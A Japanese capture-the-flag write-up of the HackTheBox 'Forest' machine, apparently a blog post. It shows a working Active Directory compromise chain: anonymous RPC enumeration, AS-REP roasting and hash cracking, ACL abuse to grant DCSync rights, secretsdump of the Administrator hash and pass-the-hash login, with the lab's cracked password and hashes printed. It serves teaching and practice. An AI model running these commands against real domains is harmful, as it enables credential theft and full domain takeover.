【HackTheBox】Forest - Writeup -

# 前書き

マシンのフラグを取るためではなく、取る手立てとして参考してもらえば幸いです。
必要な情報は**概要**に書き記してありますので、そこを参照して下さい。
出来る限り自分で考えた後、どうしても無理であればWriteup本文を読んで下さい。
netcatなどの基本的接続プロセスは省略して書いています。
ファイルは全てpython -m SimpleHTTPServer 80でトランスファーしてます。

# 概要

- RPCサーバにおけるユーザー名の漏洩

- KerberosサーバーにてASPROASTが可能

- Active Directoryにおけるドメイングループに付与されたACLの権限濫用

- DCSync : Domain Controllerのレプリカ可能

Black Hat 2015においてAD脆弱性について詳しく説明されているので、是非見てください。
[Black Hat 2015 :DCSync 20分30秒から](https://youtu.be/b6GUXerE9Ac?t=1231)

![HTB Forest.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/2a9e7ca2-6c7d-862b-dca2-ca61307c6d73.png)

- Active Directoryにおけるネットワーク構成

![graph.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/6acc891e-e629-6e9c-88c2-283bedfeb398.png)


## 学べる事/疑問点

### Kerberos サーバーとは？

Kerberos はサード・パーティーのネットワーク認証プロトコルで、 無保護のネットワーク環境の中でユーザーを安全に認証するために、 共有秘密鍵認証を使用します。 3 層システムが使用され、 Kerberos 鍵配布センター (KDC) という別個のサーバーが提供する暗号化されたチケットが、 アプリケーション・サーバーとクライアントの間で交換されます (テキスト形式のユーザー ID とパスワードは交換されません)。 このような暗号化されたサービス・チケット (証明書 という) は存続期間が有限で、クライアントとサーバーしかこれを理解できません。 これによって、たとえチケットがネットワークから傍受された場合でも、 セキュリティー上のリスクが軽減されます。 

[IBM 日本語ドキュメント: Kerberos 認証についての詳細](https://www.ibm.com/support/knowledgecenter/ja/SSEPGG_9.7.0/com.ibm.db2.luw.admin.sec.doc/doc/c0011990.html)

### WriteDACLとは？

オブジェクトのフルコントロールにつながる可能性があるオブジェクトのセキュリティを変更する機能を提供します。オブジェクトのセキュリティ記述子のDACLを変更する権利。
例：ADで任意の権限で動作するためのサービスアカウントにこの権利を付与できます。攻撃者がこのパスワードを推測できる（またはKerberoastingによってパスワードを解読できる）場合、LAPSで制御されたローカル管理者パスワードの漏えいを伴う可能性のあるオブジェクトのフルコントロールにつながる可能性がある、関連するオブジェクトに独自の権限を設定します。

### Active Directoryとは？

Active Directory（AD）は、Microsoft独自のディレクトリサービスです。 Windows Server上で実行され、管理者がネットワークリソースへのアクセス許可とアクセスを管理できるようにします。 Active Directoryはデータをオブジェクトとして保存します。 オブジェクトは、ユーザー、グループ、アプリケーション、またはプリンターなどのデバイスなどの単一の要素です。

### ハッシュとは？

ハッシュ関数は、任意のサイズのデータを固定サイズの値にマッピングするために使用できる任意の関数です。 ハッシュ関数によって返される値は、ハッシュ値、ハッシュコード、ダイジェスト、または単にハッシュと呼ばれます。 値は、固定サイズの索引付けに使用されます。


## 本文

### ポート捜索 

```shell
nmap -T5 --min-rate 10000 10.10.10.161

53/tcp   open  domain -> DNS
88/tcp   open  kerberos-sec -> Kerberos Server
135/tcp  open  msrpc -> port mapper / RPC
139/tcp  open  netbios-ssn -> SMB
389/tcp  open  ldap -> AD
445/tcp  open  microsoft-ds -> SMB
464/tcp  open  kpasswd5 -> Kerberos Server
593/tcp  open  http-rpc-epmap -> RPC
636/tcp  open  ldapssl -> AD
3269/tcp open  globalcatLDAPssl -> AD
5985/tcp open wsman -> Windows Remote Management
```

### RCPサーバーからの情報取得

`rpcclient`かpythonを使用して情報が得られます。

rpcclientを使う場合:

```shell

rpcclient -U "" -N 10.10.10.161 #匿名ログイン

#enumdomusersで全てのユーザー表示
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
user:[SM_2c8eef0a09b545acb] rid:[0x464]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

#querydispinfoでフルネームを確認（グループ名）
rpcclient $> querydispinfo
index: 0x2365 RID: 0x47b acb: 0x00010210 Account: svc-alfresco  Name: svc-alfresco      Desc: (null)
index: 0x215a RID: 0x468 acb: 0x00020011 Account: SM_1b41c9286325456bb  Name: Microsoft Exchange Migration      Desc: (null)
index: 0x2161 RID: 0x46c acb: 0x00020011 Account: SM_1ffab36a2f5f479cb  Name: SystemMailbox{8cc370d3-822a-4ab8-a926-bb94bd0641a9}      Desc(null)
index: 0x2156 RID: 0x464 acb: 0x00020011 Account: SM_2c8eef0a09b545acb  Name: Microsoft Exchange Approval Assistant     Desc: (null)
index: 0x2159 RID: 0x467 acb: 0x00020011 Account: SM_681f53d4942840e18  Name: Discovery Search Mailbox  Desc: (null)
index: 0x2158 RID: 0x466 acb: 0x00020011 Account: SM_75a538d3025e4db9a  Name: Microsoft Exchange        Desc: (null)
index: 0x215c RID: 0x46a acb: 0x00020011 Account: SM_7c96b981967141ebb  Name: E4E Encryption Store - Active     Desc: (null)
index: 0x215b RID: 0x469 acb: 0x00020011 Account: SM_9b69f1b9d2cc45549  Name: Microsoft Exchange Federation Mailbox     Desc: (null)
index: 0x215d RID: 0x46b acb: 0x00020011 Account: SM_c75ee099d0a64c91b  Name: Microsoft Exchange        Desc: (null)
index: 0x2157 RID: 0x465 acb: 0x00020011 Account: SM_ca8c2ed5bdab4dc9b  Name: Microsoft Exchange        Desc: (null)

#enumdomgroups でグループ欄を確認
rpcclient $> enumdomgroups
...省略
group:[test] rid:[0x13ed] 

#querygroup 0xridでグループ管理権限を確認
rpcclient $> querygroup 0x47d
        Group Name:     Privileged IT Accounts
        Description:
        Group Attribute:7
        Num Members:1

#メンバーが誰なのかを確認する
rpcclient $> querygroupmem 0x47d
        rid:[0x47c] attr:[0x7]

#0x47cというユーザーが一人だけいるので、queryuserで確認する
rpcclient $> queryuser 0x47c
result was NT_STATUS_NO_SUCH_USER
#どうやら消されてしまったよう

#パスワードポリシーを確認。
rpcclient $> getdompwinfo 
min_password_length: 7
password_properties: 0x00000000

#特定ユーザーのパスワードポリシーを確認
rpcclient $> getusrdompwinfo 0x469
    &info: struct samr_PwInfo
        min_password_length      : 0x0007 (7)
        password_properties      : 0x00000000 (0)
               0: DOMAIN_PASSWORD_COMPLEX  
               0: DOMAIN_PASSWORD_NO_ANON_CHANGE
               0: DOMAIN_PASSWORD_NO_CLEAR_CHANGE
               0: DOMAIN_PASSWORD_LOCKOUT_ADMINS
               0: DOMAIN_PASSWORD_STORE_CLEARTEXT
               0: DOMAIN_REFUSE_PASSWORD_CHANGE

#DOMAIN_PASSOWRD_STORE_CLEARTEXTが有れば、パスワーが平文で保存されているので、ブルートフォースログインが出来る。
``` 

Pythonを使う場合:
`ldap3`というパッケージを使用します。


```shell
#ldap3パッケージ使用
import ldap3
server = ldap3.Server('10.10.10.161', get_info = ldap3.ALL, port=389, use_ssl=False)
connection = ldap3.Connection(server)
connection.bind()
#connection.bind = Trueで有れば、接続ができている事が分かる
ldap_info = server.info
df = open('ldap_info.txt', 'w+')
df.write(str(ldap_info))

#全ての情報をダンプ
connection.search(search_base='DC=htb,DC=local', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*') 
connection.entries

#パスワードとユザー情報をダンプ
connection.search(search_base='DC=htb,DC=local', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='userPasswords')
connection.entries
```

まとめてユーザネームだけをいっきに簡略してusers.txtを作りたい時:

```
echo 'enumdomusers' | rpcclient -U "" -N 10.10.10.161 | grep -Eo "\[.+\ " | sed -r 's/(\[|\])//g' > users.txt
```

**メモ** - grep, sedに関して - 
sed -r は正規表現を使うので、`'s/(\[|\])//g'`は`[`と`]`を取り除くという意味合。
grep -E も正規表現で、`\[.+\` は`[文字列`で、要するに[]の中を取る。
例: grep -Eo 'href="[^\"]+"' はウェブサイトのhref=文字列を抜き取る。

### Kerberos 事前認証なしTGT発行

名前が合っていれば、TGTチケットが発行されてしまうので、チケットをクラックすることでパスワードが抜き取れる。

Impacketのスクリプトを利用して、TGTを発行させる。

```shell
impacket-GetNPUsers htb/ -usersfile users.txt -no-pass -dc-ip 10.10.10.161

$krb5asrep$23$svc-alfresco@HTB:c9fc43e225d93ae32f4cf1ead9f909d0$962ba4f7ff968c8c89bdd7338f8922d43aede0d7274267a3cf822a6e94a314fc48fc329c33de5850f27472ea904cdf95d8889d56feec0ddd26a5694352e3d14a41ffc4bd0460e564a9ce704c4b9ac989c1351418b1dffb1e9f0cebbc342ad18b83da208506b29a6d049bef413737a51ef9e614638534df177e8aed2b4efb9b732dbe027ac5e2d718f45b1ab4216ed72b2df9384ff697eeb8bafe37e612a345c7bc268d45c960249b743d70e96861dcca2956d6c2f74e27bf6ff73e6fd641126793af9cb7fd81f5e8ba2f35355d72cb24243b86987102ff4d3eb5087ce3e9c200
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
```

次に、svc-alfrescoのTGTチケットをクラックする。

hashcatのスクリプトを利用する。
kerberos は Kerberos 5 AS-REP etype 23とあるので、オプション指定は 18200とする。 

オプションは沢山あるのでこちらで確認:
https://hashcat.net/wiki/doku.php?id=example_hashes

```
hashcat -a 0 -m 18200 usvc-alfresco_hash.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$svc-alfresco@HTB:c9fc43e225d93ae32f4cf1ead9f909d0$962ba4f7ff968c8c89bdd7338f8922d43aede0d7274267a3cf822a6e94a314fc48fc329c33de5850f27472ea904cdf95d8889d56feec0ddd26a5694352e3d14a41ffc4bd0460e564a9ce704c4b9ac989c1351418b1dffb1e9f0cebbc342ad18b83da208506b29a6d049bef413737a51ef9e614638534df177e8aed2b4efb9b732dbe027ac5e2d718f45b1ab4216ed72b2df9384ff697eeb8bafe37e612a345c7bc268d45c960249b743d70e96861dcca2956d6c2f74e27bf6ff73e6fd641126793af9cb7fd81f5e8ba2f35355d72cb24243b86987102ff4d3eb5087ce3e9c200:s3rvice
```

パスワードは`s3rvice`であることが判明。


### 侵入 - Low Privileged Shell

Windows Remote Management を利用して、svc-alfrescoとしてログインする。

Evil-WinRMというツールを使用して、アクセスすることが出来ます。

```shell 
ruby Evil-winRM.rb -u svc-alfresco -p s3rvice -i 10.10.10.161

*Evil-WinRM* PS C:\Users\svc-alfresco> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled


#自分がどの権限グループに所属するかを確認する。

*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Account Operators                  Alias            S-1-5-32-548                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
HTB\Privileged IT Accounts                 Group            S-1-5-21-3072663084-364016917-1341370565-1149 Mandatory group, Enabled by default, Enabled group
HTB\Service Accounts                       Group            S-1-5-21-3072663084-364016917-1341370565-1148 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10                                   Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192


グループを見てみる。

C:\Users\svc-alfresco\Links>net groups
net groups

Group Accounts for \\

-------------------------------------------------------------------------------
省略...
*Exchange Servers
*Exchange Trusted Subsystem
*Exchange Windows Permissions

```

Active DirectoryのオブジェクトACLをenumしたいので、BloodHoundというツールを使用する。

#### BloodHound
BloodHound マニュアル: [bloodhound.readthedocs.io](https://bloodhound.readthedocs.io/en/latest/installation/linux.html
)

`apt-get install bloodhound`

neo4jコンソールを立ち上げる

`neo4j console`

そして、bloodhoundを立ち上げる。

`bloodhound`

要するに、BloodHoundはアプリでneo4jというデータベースアプリを経由してデータを加工するアプリみたい。

イメージを見てみると
![Screenshot 2020-08-20 at 6.53.59 PM.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/a90c3268-ad0b-099b-f720-76d7f6b96e2d.png)

現在ログインしている`svc-alfresco` は `EXCHANGE WINDOWS PERMISSIONS`のグループに対して にGenericALLの権限関係が付与されていることが分かります。サービスアカウント -> PRIVILEGED IT ACCOUNT -> ACCOUNT OPERATORS -> EXCHANGE WINDOWS PERMISSIONの順で繋がっている。

SVC-ALFRESCOはSAのメンバーで、それはxxのメンバー...という感じで関係が繋がっています。

EXCHANGE WINDOWS PERMISSIONのグループにドメインユーザを追加。

**なぜ可能か？**: ACCOUNT OPERATORS Allows creating non administrator accounts and groups on the domain.

#### ユーザーの作成とグループの加入

```powershell
net user wacker password /add /domain
net group "EXCHANGE WINDOWS PERMISSIONS" /add wacker
```

![graph.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/636896/6acc891e-e629-6e9c-88c2-283bedfeb398.png)

#### DC Synchronization

PowerSploitの`PowerView.ps1`をインポートして、色々行います。

ドメインユーザーに`NTDS.dit`を渡す(DC SYNC)ため、必要なクレデンシャルを含むオブジェクトを作成。

```powershell
$passwd = convertto-securestring 'password' -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('htb\wacker', $passwd)
Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity wacker -Rights DCSync

```

これで、wackerにNTDS.dit(DC SYNC)が渡されたので、impacketの`secretdump.py`でNTLMハッシュをダンプします。

```shell
kali@kali:$ impacket-secretsdump htb.local/wacker:password@10.10.10.161
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
```

### 侵入 Privileged Shell

このハッシュを使用して、psexec.pyでログインします。
pass the hahsという方法を用いてログインします。
[OFFENSIVE SECURITY : PSEXECについて](https://www.offensive-security.com/metasploit-unleashed/psexec-pass-hash/)

```shell 
./psexec.py -hashes \
aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6\
administrator@10.10.10.161
```

成功すれば、`forest/administrator`としてログインが出来る！

## 感想

ケロベロスサーバーの事前認証がなぜ重要かがよく分かるBoxだと思いました。
そして、パスワードが弱いとかくもクラッキングがされてしまい、システム侵入を容易にしてしまいます。
またADにおけるグループのACLのの権限設定がきちんとされてないので、結果としてDCSyncまでされてしましました。

読んでくれてありがとうございます。

メモ

```
NTDS.ditの場所は%systemroot%\ntdsにあるという事で、フルパスだと
`Windows\System32\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\windows\ntds\ntds.dit`にありました。
```